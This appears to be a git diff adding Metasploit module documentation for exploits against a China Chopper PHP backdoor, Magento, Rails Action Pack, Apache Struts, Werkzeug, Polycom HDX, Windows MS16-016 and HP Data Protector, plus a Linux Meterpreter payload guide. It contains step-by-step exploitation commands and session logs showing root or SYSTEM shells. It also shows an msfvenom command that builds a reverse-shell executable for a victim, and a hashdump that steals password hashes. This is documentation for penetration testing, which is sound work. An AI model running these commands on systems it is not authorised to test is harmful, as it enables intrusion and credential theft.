||||
|
||||
## Vulnerable Application
|
||||
|
||||
Here is the [PHP code](https://github.com/rapid7/metasploit-framework/files/430643/caidao.zip) of the backdoor that you can use and save it as caidao.php.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/multi/http/caidao_php_backdoor_exec`
|
||||
4. Do: `set rport port`
|
||||
5. Do: `set rhost ip`
|
||||
6. Do: `check`
|
||||
```
|
||||
[+] 192.168.1.103:80 - The target is vulnerable.
|
||||
```
|
||||
8. Do: `exploit`
|
||||
9. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
**TARGETURI**
|
||||
|
||||
TARGETURI by default is `/caidao.php`, which is the common filename of the backdoor.
|
||||
|
||||
**PASSWORD**
|
||||
|
||||
PASSWORD by default is `chopper`, which is the password of the backdoor.
|
||||
|
||||
## Demonstration
|
||||
|
||||
```
|
||||
msf exploit(caidao_php_backdoor_exec) > exploit
|
||||
|
||||
[*] Started reverse handler on 192.168.1.108:4444
|
||||
[*] Sending stage (33068 bytes) to 192.168.1.103
|
||||
[*] Meterpreter session 2 opened (192.168.1.108:4444 -> 192.168.1.103:42349) at 2015-11-02 09:05:54 +0000
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : kali
|
||||
OS : Linux kali 3.14-kali1-686-pae #1 SMP Debian 3.14.5-1kali1 (2014-06-07) i686
|
||||
Meterpreter : php/php
|
||||
```
|
||||
@@ -0,0 +1,105 @@
|
||||
Magento is a popular open-source e-commerce platform written in PHP. An unserialization
|
||||
vulnerability exists in the product that allows an unauthenticated user to gain arbitrary
|
||||
code execution.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Magento Community and Enterprise editions before 2.0.6 are affected. The magento_unserialize module
|
||||
was specifically tested against version 2.0.6, on Ubuntu 14.04 and Debian.
|
||||
|
||||
For testing purposes, you can download the vulnerable applications [here](https://www.exploit-db.com/apps/d34a83e80f927d7336cc8ef37a9867f4-magento2-2.0.5.tar.gz).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
To set up a vulnerable version of Magento, please follow these steps. This is specific to
|
||||
Ubuntu 14, and assumes you are installing Magento under /var/www/html/.
|
||||
|
||||
1. Set up a [Ubuntu](http://www.ubuntu.com/) box.
|
||||
2. Open a terminal, and enter: ```sudo apt-get install apache2```
|
||||
3. Enter: ```sudo apt-get install php5```
|
||||
4. Enter: ```sudo a2enmod rewrite```
|
||||
5. Add the following content to /etc/apache2/sites-enabled/000-default.conf, inside the virtual block:
|
||||
|
||||
```
|
||||
<Directory /var/www/html>
|
||||
Options Indexes FollowSymLinks MultiViews
|
||||
AllowOverride All
|
||||
Order allow,deny
|
||||
allow from all
|
||||
</Directory>
|
||||
```
|
||||
|
||||
6. Download the [vulnerable Magento app](https://www.exploit-db.com/apps/d34a83e80f927d7336cc8ef37a9867f4-magento2-2.0.5.tar.gz)
|
||||
7. Extract the compressed file: ```tar -xf magento2-2.0.5.tar.gz```
|
||||
8. Move the files and directories of magento2-2.0.5 to /var/www/html/ (make sure .htaccess is copied too)
|
||||
9. In terminal, enter: ```sudo chmod 644 /var/www/html/.htaccess```
|
||||
10. Enter: ```sudo service apache2 restart```
|
||||
11. Enter: ```sudo apt-get install mysql-server-5.6```. And follow the installation instructions of MySQL.
|
||||
12. Enter: ```sudo apt-get install php5-mysql```
|
||||
13. Enter: ```sudo apt-get install php5-mcrypt```
|
||||
14. Enter: ```sudo php5enmod mcrypt```
|
||||
15. Enter: ```sudo apt-get install php5-xsl php5-curl php5-intl```
|
||||
16. Enter: ```sudo service apache2 restart```
|
||||
17. cd to /var/www/html, enter: ```sudo mkdir tmp```, and cd to tmp
|
||||
18. In tmp, do: ```curl -sS https://getcomposer.org/installer | php```
|
||||
19. Enter: ```sudo mv composer /usr/local/bin/composer```
|
||||
20. In /var/www/html, do: ```composer install```
|
||||
21. You will be asked for a username (public key) and password (private key). You can register
|
||||
for one here: https://marketplace.magento.com/
|
||||
22. Back to terminal, enter: ```mysql -h localhost -u root -p[password]```
|
||||
23. In mysql, enter: ```create database magento```, and exit
|
||||
24. Go to http://localhost with a browser, and install Magento through the web interface.
|
||||
25. After installation, back to Magento directory, and enter: ```sudo rm -rf var/cache/*```
|
||||
26. Enter: ```sudo rm -rf var/generation/*```
|
||||
27. Enter: ```sudo rm -rf var/page_cache/*```
|
||||
28. cd to /var/www/html/bin
|
||||
29. Enter: ```sudo php magento deploy:mode:set developer```. It should say that you're in developer mode.
|
||||
30. Enter: ```sudo php magento setup:static-content:deploy```
|
||||
31. Enter: ```sudo php magento indexer:reindex```
|
||||
32. Enter: ```sudo chmod -R 777 /var/www/html```
|
||||
33. Go to http://localhost, you should see Magento up and running.
|
||||
34. From Magento, log in as admin, and create a product. After creating one, make sure this product
|
||||
is:
|
||||
* Either includes a shipping address, or does not have a weight.
|
||||
* Searchable from the front-end.
|
||||
|
||||
If at some point the IP (base URL) of Magento has changed, then you will need to do these steps to update:
|
||||
|
||||
1. From the terminal, do: ```mysql -h localhost -u [username] -p[password]```
|
||||
2. In the SQL prompt, do: ```use [magento database name]```
|
||||
3. Do: ```select * from core_config_data;```, you should see both web/unsecure/base_url (config ID 2) and web/secure/base_url (config ID 3) with the hardcoded IP.
|
||||
4. Do: ```update core_config_data set value='http://[IP]/' where config_id=2;```
|
||||
5. Do: ```update core_config_data set value='https://[IP]/' where config_id=3;```
|
||||
6. Back to the Magento directory, do: ```sudo rm -rf var/cache/*```
|
||||
7. Also do: ```sudo rm -rf var/generation/*```
|
||||
8. Also do: ```sudo rm -rf var/page_cache/*```
|
||||
9. Browse to Magento again with the new IP, it should be up and running again.
|
||||
|
||||
|
||||
After setting up Magento, you can use your exploit module:
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```exploit/multi/http/magento_unserialize```
|
||||
3. Do: ```set RHOST [IP]```
|
||||
4. Do: ```set PAYLOAD php/meterpreter/reverse_tcp```
|
||||
5. Do: ```set LHOST [IP]```
|
||||
6. Do: ```exploit```
|
||||
7. And you should get a session
|
||||
|
||||
## Demonstration
|
||||
|
||||
```
|
||||
msf exploit(magento_unserialize) > check
|
||||
[*] 192.168.1.108:80 The target appears to be vulnerable.
|
||||
msf exploit(magento_unserialize) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.94:4444
|
||||
[+] 192.168.1.108:80 - generated a guest cart id
|
||||
[+] 192.168.1.108:80 - backdoor done!
|
||||
[*] Sending stage (33721 bytes) to 192.168.1.108
|
||||
[*] Meterpreter session 6 opened (192.168.1.94:4444 -> 192.168.1.108:46835) at 2016-06-02 17:09:34 -0500
|
||||
[+] 192.168.1.108:80 - Deleted lP5UgbUBLm1sWN25gWfZBqYKms.php
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,43 @@
|
||||
rails_actionpack_inine_exec is a module that exploits the render method in Action Pack.
|
||||
Applications that pass unverified user input to the ```render``` method in a controller
|
||||
or view may be vulnerable to code injection.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Action Pack versions prior to 3.2.22.2, 4.1.14.2, and 4.2.5.2 use unsafe dynamic rendering.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Assuming you have the right requirements to run a rails server, you can use the following fork
|
||||
to set up the vulnerable server for testing:
|
||||
|
||||
1. Do: ```git clone https://github.com/wchen-r7/dh-CVE_2016_2098.git```
|
||||
2. Do: ```bundle install```
|
||||
3. Do: ```rails -s -b 0.0.0.0```
|
||||
4. Start msfconsole
|
||||
5. Do: ```use exploit/multi/http/rails_actionpack_inline_exec```
|
||||
6. Do: ```set RHOST [rails server IP]```
|
||||
7. Do: ```set RPORT 3000```. 3000 is the default port for the rails server.
|
||||
8. Do: ```set targeturi /exploits```
|
||||
9. Configure the rest of the options (for the modules or the payload)
|
||||
10. Do: ```exploit```, and you should get a session:
|
||||
|
||||
```
|
||||
msf exploit(rails_actionpack_inline_exec) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.146.1:4444
|
||||
[*] Sending inline code to parameter: id
|
||||
[*] Command shell session 1 opened (192.168.146.1:4444 -> 192.168.146.161:56661) at 2016-07-07 15:56:00 -0500
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
To use this module, you must manually discover the correct values for these datastore options:
|
||||
|
||||
**TARGETURI**
|
||||
|
||||
The path to a vulnerable Ruby on Rails application.
|
||||
|
||||
**TARGETPARAM**
|
||||
|
||||
The target parameter to inject with inline code.
|
||||
@@ -15,8 +15,8 @@ For testing purposes, here is how you would set up the vulnerable machine:
|
||||
4. Install Java first. Make sure you have the JAVA_HOME environment variable.
|
||||
5. Extract Apache Tomcat.
|
||||
6. In conf directory of Apache Tomcat, open the tomcat-users.xml file with a text editor.
|
||||
7. In tomcat-users.xml, add this role: ```<role rolename="manager-gui"/>```
|
||||
8. In tomcat-users.xml, add this role to user tomcat: ```<user username="tomcat" password="tomcat" roles="tomcat,manager-gui"/>```
|
||||
7. In tomcat-users.xml, add the ```manager-gui``` role
|
||||
8. In tomcat-users.xml, add the ```manager-gui``` role to a user.
|
||||
9. Remove other users.
|
||||
10. In a terminal or command prompt, ```cd``` to the bin directory, and run: ```catalina.bat run``` (or catalina.sh). You should have Apache Tomcat running on port 8080.
|
||||
11. Extract the vulnerable struts app: ```tar -xf struts2-blank.tar.gz```
|
||||
|
||||
@@ -0,0 +1,56 @@
|
||||
struts_dmi_rest_exec is a module that exploits Apache Struts's REST plugin with Dynamic Method
|
||||
Invocation, and it supports Windows and Linux platforms.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Apache Struts versions between 2.3.20 and 2.3.28 are vulnerable, except 2.3.20.2 and 2.3.24.2.
|
||||
The application's struts.xml also needs set ```struts.enable.DynamicMethodInvocation``` to true,
|
||||
and ```struts.devMode``` to false.
|
||||
|
||||
For testing purposes, here is how you would set up the vulnerable machine:
|
||||
|
||||
1. Download Apache Tomcat
|
||||
2. Download Java. [Choose an appropriate version](http://tomcat.apache.org/whichversion.html) based on the Apache Tomcat version you downloaded.
|
||||
3. Download the vulnerable [Apache Struts application](https://github.com/rapid7/metasploit-framework/files/300762/struts2-rest-showcase.tar.gz).
|
||||
4. Install Java first. Make sure you have the JAVA_HOME environment variable.
|
||||
5. Extract Apache Tomcat.
|
||||
6. In conf directory of Apache Tomcat, open the tomcat-users.xml file with a text editor.
|
||||
7. In tomcat-users.xml, add the ```manager-gui``` role.
|
||||
8. In tomcat-users.xml, add the ```manager-gui``` role to a user.
|
||||
9. Remove other users.
|
||||
10. In a terminal or command prompt, ```cd``` to the bin directory, and run: ```catalina.bat run``` (or catalina.sh). You should have Apache Tomcat running on port 8080.
|
||||
11. Extract the vulnerable struts app: ```tar -xf struts2-rest-showcase.tar.gz```
|
||||
12. Navigate to the Apache Tomcat server with a browser on port 8080.
|
||||
13. Click on Manager App
|
||||
14. In the WAR file to deploy section, deploy struts2-rest-showcase.war
|
||||
15. Stop struts2-blank in the manager app.
|
||||
16. On the server, ```cd``` to ```apache-tomcat-[version]/webapps/struts2-rest-showcase/WEB-INF/classes```, open struts.xml with a text editor.
|
||||
17. In the XML file, make sure ```struts.enable.DynamicMethodInvocation``` is true
|
||||
18. In the XML file, make sure ```struts.devMode``` is false.
|
||||
19. Back to Apache Tomcat's manager app. Start the struts2-rest-showcase again.
|
||||
|
||||
And now you have a vulnerable server.
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
**TMPPATH**
|
||||
|
||||
By default, the struts_dmi_rest_exec exploit should be ready to go without much configuration. However,
|
||||
in case you need to change where the payload should be uploaded to, make sure to set the correct
|
||||
target, and then change the TMPPATH datastore option.
|
||||
|
||||
## Scenarios
|
||||
|
||||
struts_dmi_rest_exec supports three platforms: Windows, Linux, and Java. By default, it uses Java,
|
||||
so you don't need to worry about configuring this. Running the module can be as simple as the usage
|
||||
explained in the Overview section.
|
||||
|
||||
However, native payload do have their benefits (for example: Windows Meterpreter has better
|
||||
support than Java), so if you decide to switch to a different platform, here is what you do:
|
||||
|
||||
1. Do ```show targets```, and see which one you should be using
|
||||
2. Do ```set target [id]```
|
||||
3. Do ```show payloads```, which shows you a list of compatible payloads for that target.
|
||||
4. Do: ```set payload [payload name]```
|
||||
5. Do: ```exploit```
|
||||
@@ -0,0 +1,72 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Verified against:
|
||||
+ 0.9.6 on Debian
|
||||
+ 0.9.6 on Centos
|
||||
+ 0.10 on Debian
|
||||
|
||||
A sample application which enables the console debugger is available [here](https://github.com/h00die/MSF-Testing-Scripts/blob/master/werkzeug_console.py)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/multi/http/werkzeug_debug_rce`
|
||||
4. Do: `set rport <port>`
|
||||
5. Do: `set rhost <ip>`
|
||||
6. Do: `check`
|
||||
```
|
||||
[+] 10.108.106.201:8081 - The target is vulnerable.
|
||||
```
|
||||
7. Do: `set payload python/meterpreter/reverse_tcp`
|
||||
8. Do: `set lhost <ip>`
|
||||
9. Do: `exploit`
|
||||
10. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
**TARGETURI**
|
||||
|
||||
TARGETURI by default is `/console`, as defined by werkzeug, however it can be changed within the python script.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Example utilizing the previously mentioned sample app listed above.
|
||||
|
||||
```
|
||||
msf > use exploit/multi/http/werkzeug_debug_rce
|
||||
msf exploit(werkzeug_debug_rce) > set rport 8081
|
||||
rport => 8081
|
||||
msf exploit(werkzeug_debug_rce) > set rhost 10.108.106.201
|
||||
rhost => 10.108.106.201
|
||||
msf exploit(werkzeug_debug_rce) > check
|
||||
[+] 10.108.106.201:8081 - The target is vulnerable.
|
||||
msf exploit(werkzeug_debug_rce) > set payload python/meterpreter/reverse_tcp
|
||||
payload => python/meterpreter/reverse_tcp
|
||||
msf exploit(werkzeug_debug_rce) > set lhost 10.108.106.121
|
||||
lhost => 10.108.106.121
|
||||
msf exploit(werkzeug_debug_rce) > exploit
|
||||
|
||||
[*] Started reverse handler on 10.108.106.121:4444
|
||||
[*] Sending stage (25277 bytes) to 10.108.106.201
|
||||
[*] Meterpreter session 2 opened (10.108.106.121:4444 -> 10.108.106.201:36720) at 2015-07-09 19:02:52 -0400
|
||||
|
||||
meterpreter > getpid
|
||||
Current pid: 13034
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : werkzeug
|
||||
OS : Linux 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt11-1 (2015-05-24)
|
||||
Architecture : x86_64
|
||||
Meterpreter : python/python
|
||||
meterpreter > shell
|
||||
Process 13037 created.
|
||||
Channel 0 created.
|
||||
/bin/sh: 0: can't access tty; job control turned off
|
||||
# ls
|
||||
app.py app.pyc werkzeug
|
||||
# exit
|
||||
meterpreter > exit
|
||||
[*] Shutting down Meterpreter...
|
||||
```
|
||||
@@ -0,0 +1,36 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits the Polycom HDX video endpoints with software <= 3.0.5.
|
||||
It was tested on a Polycom HDX 7000 running software version 3.0.3. Telnet port
|
||||
23 should be accessible, as it is with the factory default configuration.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
A successful check of the exploit will look like this:
|
||||
|
||||
```
|
||||
msf exploit(psh_auth_bypass) > use exploit/unix/misc/psh_auth_bypass
|
||||
msf exploit(psh_auth_bypass) > run
|
||||
|
||||
[*] Started reverse double SSL handler on 192.168.1.120:4444
|
||||
[*] 192.168.1.155:23 - Starting Authentication bypass with 6 threads with 100 max connections
|
||||
[+] 192.168.1.155:23 - 192.168.1.155:23 Successfully exploited the authentication bypass flaw
|
||||
[+] 192.168.1.155:23 - Sending payload of 178 bytes to 192.168.1.155:40186...
|
||||
[*] Accepted the first client connection...
|
||||
[*] Accepted the second client connection...
|
||||
[*] Command: echo xInxktvgUmm7hPyh;
|
||||
[*] Writing to socket A
|
||||
[*] Writing to socket B
|
||||
[*] Reading from sockets...
|
||||
[*] Reading from socket B
|
||||
[*] B: "xInxktvgUmm7hPyh\n"
|
||||
[*] Matching...
|
||||
[*] A is input...
|
||||
[*] Command shell session 1 opened (192.168.1.120:4444 -> 192.168.1.155:37728) at 2016-08-01 13:49:06 -0500
|
||||
[*] 192.168.1.155:23 - Shutting down payload stager listener...
|
||||
|
||||
whoami
|
||||
root
|
||||
uname -a
|
||||
Linux polycom.lan 2.6.33.3-rt17.p2.25 #1 PREEMPT RT Wed Aug 3 14:08:40 CDT 2011 ppc unknown
|
||||
```
|
||||
@@ -0,0 +1,37 @@
|
||||
## Intro
|
||||
|
||||
This module exploits a null pointer dereference vulnerability present in the mrxdav.sys kernel driver on Windows 7 x86. The vulnerability is described by MS16-016 and CVE-2016-0051. The module allows the user to spawn a new payload, such as meterpreter, on the target system with elevated privileges (NT AUTHORITY\SYSTEM)
|
||||
|
||||
## Usage
|
||||
|
||||
You'll first need to obtain a session on the target system. Next, once the module is loaded, one simply needs to set the ```payload``` and ```session``` options. From here, running the module will result in the payload being executed with system level privileges.
|
||||
|
||||
An example session follows:
|
||||
|
||||
|
||||
```
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 5...
|
||||
msf exploit(handler) > use exploits/windows/local/ms16_016_webdav
|
||||
msf exploit(ms16_016_webdav) > set session 5
|
||||
session => 5
|
||||
msf exploit(ms16_016_webdav) > set payload windows/meterpreter/reverse_tcp
|
||||
payload => windows/meterpreter/reverse_tcp
|
||||
msf exploit(ms16_016_webdav) > set lport 4567
|
||||
lport => 4567
|
||||
msf exploit(ms16_016_webdav) > set lhost 192.168.1.203
|
||||
lhost => 192.168.1.203
|
||||
msf exploit(ms16_016_webdav) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.203:4567
|
||||
[*] Launching notepad to host the exploit...
|
||||
[+] Process 3204 launched.
|
||||
[*] Reflectively injecting the exploit DLL into 3204...
|
||||
[*] Exploit injected ... injecting payload into 3204...
|
||||
[*] Sending stage (957999 bytes) to 192.168.1.221
|
||||
[*] Done. Verify privileges manually or use 'getuid' if using meterpreter to verify exploitation.
|
||||
[*] Meterpreter session 12 opened (192.168.1.203:4567 -> 192.168.1.221:49266) at 2016-07-05 22:07:34 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
```
|
||||
@@ -0,0 +1,75 @@
|
||||
HP Data Protector is an automated backup and recovery software for single-server to enterprise
|
||||
environments. It provides cross-platform, online backup of data for Microsoft Windows, Unix,
|
||||
and Linux operating systems.
|
||||
|
||||
While the server is using Encrypted Control Communication, HP Data Protector allows a remote
|
||||
attacker to gain access without authentication, and gain arbitrary code execution under the
|
||||
context of SYSTEM.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
HP Data Protector versions 7, 8, and 9 are known to be affected.
|
||||
|
||||
hp_dataprotector_encrypted_comms was specifically tested against version 9.0.0 on Windows 2008.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
**Installing HP Data Protector**
|
||||
|
||||
Before installing HP Data Protector, a Windows domain controller is needed. This exploit was tested
|
||||
against [a Windows Server 2008 R2 SP1 domain controller](https://www.youtube.com/watch?v=Buj9oEgbRt8).
|
||||
|
||||
After setting up the domain controller, double-click on the HP Data Protector installer, and you
|
||||
should see this screen:
|
||||
|
||||

|
||||
|
||||
Click on **Install Data Protector**. And then the installer should ask you which installation type:
|
||||
|
||||

|
||||
|
||||
Make sure to select **Cell Manager**, and click **Next**. Use all default settings.
|
||||
|
||||
**Enabling Encrypted Communication**
|
||||
|
||||
After the Setup Wizard is finished, we need to enable encrypted communication. First, open the
|
||||
Data Protector GUI:
|
||||
|
||||

|
||||
|
||||
Click on **Clients**, and the local client from the tree. You should see the **Connection** tab on the
|
||||
right, click on that.
|
||||
|
||||

|
||||
|
||||
Under the Connection tab, there should be an **Encrypted control communication** checkbox, make
|
||||
sure that is checked. And then click **Apply**
|
||||
|
||||
**Using hp_dataprotector_encrypted_comms**
|
||||
|
||||
After the encrypted communication is enabled, you are ready to use
|
||||
hp_dataprotector_encrypted_comms. Here is what you do:
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use exploit/windows/misc/hp_dataprotector_encrypted_comms```
|
||||
3. Do: ```set RHOST [IP ADDRESS]```
|
||||
4. Do: ```set PAYLOAD [PAYLOAD NAME]```
|
||||
5. Set other options as needed
|
||||
6. Do: ```exploit```, and you should receive a session like the following:
|
||||
|
||||
```
|
||||
msf exploit(hp_dataprotector_encrypted_comms) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.23.1:4444
|
||||
[*] 172.16.23.173:5555 - Initiating connection
|
||||
[*] 172.16.23.173:5555 - Establishing encrypted channel
|
||||
[*] 172.16.23.173:5555 - Sending payload
|
||||
[*] 172.16.23.173:5555 - Waiting for payload execution (this can take up to 30 seconds or so)
|
||||
[*] Sending stage (957999 bytes) to 172.16.23.173
|
||||
[*] Meterpreter session 1 opened (172.16.23.1:4444 -> 172.16.23.173:49304) at 2016-06-06 22:16:54 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
```
|
||||
|
||||
@@ -0,0 +1,318 @@
|
||||
linux/x86/meterpreter/reverse_tcp is the most pouplar payload against the Linux platform. It allows
|
||||
you to remotely take over the compromised system, having control of the file system, collect
|
||||
sensitive information such as credentials using post modules, etc.
|
||||
|
||||
linux/x86/meterpreter/reverse_tcp is also the default payload for most Linux exploits.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
linux/x86/meterpreter/reverse_tcp should work on either 32 or 64-bit Linux platforms.
|
||||
|
||||
## Deploying linux/x86/meterpreter/reverse_tcp
|
||||
|
||||
linux/x86/meterpreter/reverse_tcp can be used in two different ways.
|
||||
|
||||
**As an exploit payload**
|
||||
|
||||
Many Linux exploits support native payloads, but not always. To check this, you can use the ```info```
|
||||
command on the exploit you want to use:
|
||||
|
||||
```
|
||||
msf exploit(lsa_transnames_heap) > info
|
||||
|
||||
Name: Samba lsa_io_trans_names Heap Overflow
|
||||
Module: exploit/linux/samba/lsa_transnames_heap
|
||||
Platform: Linux
|
||||
Privileged: Yes
|
||||
License: Metasploit Framework License (BSD)
|
||||
Rank: Good
|
||||
Disclosed: 2007-05-14
|
||||
...
|
||||
```
|
||||
|
||||
If the platform field includes Linux, then that means you can use linux/x86/meterpreter/reverse_tcp
|
||||
and other Linux payloads.
|
||||
|
||||
Sometimes, you need to select a specific target to be able to use a native Linux payload. To check
|
||||
this, do:
|
||||
|
||||
```
|
||||
show targets
|
||||
```
|
||||
|
||||
If there is a Linux target, use that:
|
||||
|
||||
```
|
||||
set TARGET [index]
|
||||
```
|
||||
|
||||
To actually set the payload:
|
||||
|
||||
1. In msfconsole, load the exploit.
|
||||
2. Do: ```set PAYLOAD linux/x86/meterpreter/reverse_tcp```
|
||||
3. Set the ```LHOST``` option, which is the [IP the payload should connect back to](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-a-reverse-shell-in-Metasploit).
|
||||
4. Run the exploit
|
||||
|
||||
**As a standalone executable**
|
||||
|
||||
To use linux/x86/meterpreter/reverse_tcp as an executable, first you can generate it with msfvenom:
|
||||
|
||||
```
|
||||
./msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f elf -o /tmp/payload.bin
|
||||
```
|
||||
|
||||
Before sending the exectauble to the victim machine, you need to set up the handler on your end:
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use exploit/multi/handler```
|
||||
3. Do: ```set PAYLOAD linux/x86/meterpreter/reverse_tcp```
|
||||
4. Do: ```set LHOST [Your IP]```
|
||||
5. Do: ```run```
|
||||
|
||||
And that should start the listener. When the victim runs the malicious exectauble, you should
|
||||
receive a session:
|
||||
|
||||
```
|
||||
msf exploit(handler) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.23.1:4444
|
||||
[*] Starting the payload handler...
|
||||
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
|
||||
[*] Sending stage (1495599 bytes) to 172.16.23.182
|
||||
[*] Meterpreter session 1 opened (172.16.23.1:4444 -> 172.16.23.182:45009) at 2016-07-06 22:40:35 -0500
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
|
||||
## Important Basic Commands
|
||||
|
||||
Here is a list of some of the common commands you might need while using the Linux Meterpreter:
|
||||
|
||||
**pwd**
|
||||
|
||||
The ```pwd``` command tells you the current working directory. For example:
|
||||
|
||||
```
|
||||
meterpreter > pwd
|
||||
/home/sinn3r/Desktop
|
||||
```
|
||||
|
||||
**cd**
|
||||
|
||||
The cd command allows you to change directories. Example:
|
||||
|
||||
```
|
||||
meterpreter > cd /tmp
|
||||
```
|
||||
|
||||
**cat**
|
||||
|
||||
The cat command allows you to see the content of a file:
|
||||
|
||||
```
|
||||
meterpreter > cat /tmp/data.txt
|
||||
hello world
|
||||
```
|
||||
|
||||
**upload**
|
||||
|
||||
The ```upload``` command allows you to upload a file to the remote target. For example:
|
||||
|
||||
```
|
||||
meterpreter > upload /tmp/data.bin /home/sinn3r/Desktop
|
||||
[*] uploading : /tmp/data.bin -> /home/sinn3r/Desktop
|
||||
[*] uploaded : /tmp/data.bin -> /home/sinn3r/Desktop/data.bin
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
**download**
|
||||
|
||||
The ```download``` command allows you to download a file from the remote target to your machine. For example:
|
||||
|
||||
```
|
||||
meterpreter > download /home/sinn3r/Desktop/data.bin /tmp
|
||||
[*] downloading: /home/sinn3r/Desktop/data.bin -> /tmp/data.bin
|
||||
[*] download : /home/sinn3r/Desktop/data.bin -> /tmp/data.bin
|
||||
```
|
||||
|
||||
**ifconfig/ipconfig**
|
||||
|
||||
```ifconfig``` and ```ipconfig``` are actually the same thing. They allow you to see the network
|
||||
interfaces on the remote machine.
|
||||
|
||||
**getuid**
|
||||
|
||||
The getuid command tells you the current user that Meterpreter is running on. For example:
|
||||
|
||||
```
|
||||
meterpreter > getuid
|
||||
Server username: uid=1000, gid=1000, euid=1000, egid=1000, suid=1000, sgid=1000
|
||||
```
|
||||
|
||||
**execute**
|
||||
|
||||
The ```execute``` command allows you to execute a command or file on the remote machine.
|
||||
For example:
|
||||
|
||||
```
|
||||
meterpreter > execute -f echo -a "hello > /tmp/hello.txt"
|
||||
Process 5292 created.
|
||||
```
|
||||
|
||||
**ps**
|
||||
|
||||
The ```ps``` command lists the running processes on the remote machine.
|
||||
|
||||
**shell**
|
||||
|
||||
The shell command allows you to interact with the remote machine's terminal (or shell). For
|
||||
example:
|
||||
|
||||
```
|
||||
meterpreter > shell
|
||||
Process 5302 created.
|
||||
Channel 6 created.
|
||||
$
|
||||
```
|
||||
|
||||
If you wish to get back to Meterpreter, do [CTRL]+[Z] to background the channel.
|
||||
|
||||
**sysinfo**
|
||||
|
||||
The sysinfo command shows you basic information about the remote machine. Such as:
|
||||
|
||||
* Computer name
|
||||
* OS name
|
||||
* Architecture
|
||||
* Meterpreter type
|
||||
|
||||
For example:
|
||||
|
||||
```
|
||||
meterpreter > sysinfo
|
||||
Computer : sinn3r-virtual-machine
|
||||
OS : Linux sinn3r-virtual-machine 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 (i686)
|
||||
Architecture : i686
|
||||
Meterpreter : x86/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
**Other commands**
|
||||
|
||||
For a complete list of Linux Meterpreter commands, do the following at the prompt:
|
||||
|
||||
```
|
||||
meterpreter > help
|
||||
```
|
||||
|
||||
|
||||
## Using a Post module
|
||||
|
||||
One of the best things about Meterprter is you have access to a variety of post modules that
|
||||
"shell" sessions might not have. Post modules provide you with more capabilities to collect data
|
||||
from the remote machine automatically. For example, stealing credentials from the system or
|
||||
third-party applications, or modify settings, etc.
|
||||
|
||||
To use a post module from the Meterpreter prompt, simply use the ```run``` command. The following
|
||||
is an example of collecting Linux hashes using post/linux/gather/hashdump:
|
||||
|
||||
```
|
||||
meterpreter > run post/linux/gather/hashdump
|
||||
|
||||
[+] root:$6$cq9dV0jD$DZNrPKKIzcJaJ1r1xzdePEJTzn5f2V5lm9CnSdkMRPJfYy7QVx2orpzlf1XXBbIRZs7kT9CmYEMApfUIrWZsj/:0:0:root:/root:/bin/bash
|
||||
[+] sinn3r:$6$S5lRz0Ji$bS0rOko3EVsAXwqR1rNcE/EhpnezmKH08Yioxyz/gLZAGh3AoyV5qCglvHx.vSINJNqs1.xhJix3pWX7jw8n0/:1000:1000:sinn3r,,,:/home/sinn3r:/bin/bash
|
||||
[+] Unshadowed Password File: /Users/wchen/.msf4/loot/20160707112433_http_172.16.23.182_linux.hashes_845236.txt
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
Note that in order to collect Linux hashes, Meterpreter needs to run as root.
|
||||
|
||||
## Using the Post Exploitation API in IRB
|
||||
|
||||
To enter IRB, do the following at the Meterpreter prompt:
|
||||
|
||||
```
|
||||
meterpreter > irb
|
||||
[*] Starting IRB shell
|
||||
[*] The 'client' variable holds the meterpreter client
|
||||
|
||||
>>
|
||||
```
|
||||
|
||||
**The client object**
|
||||
|
||||
The client object in Meterpreter allows you to control or retrieve information about the host. For
|
||||
example, this allows you to get the current privilege our payload is running as:
|
||||
|
||||
```
|
||||
>> client.sys.config.getuid
|
||||
=> "uid=1000, gid=1000, euid=1000, egid=1000, suid=1000, sgid=1000"
|
||||
```
|
||||
|
||||
To explore the client object, there are a few tricks. For example, you can use the #inspect method
|
||||
to inspect it:
|
||||
|
||||
```
|
||||
>> client.inspect
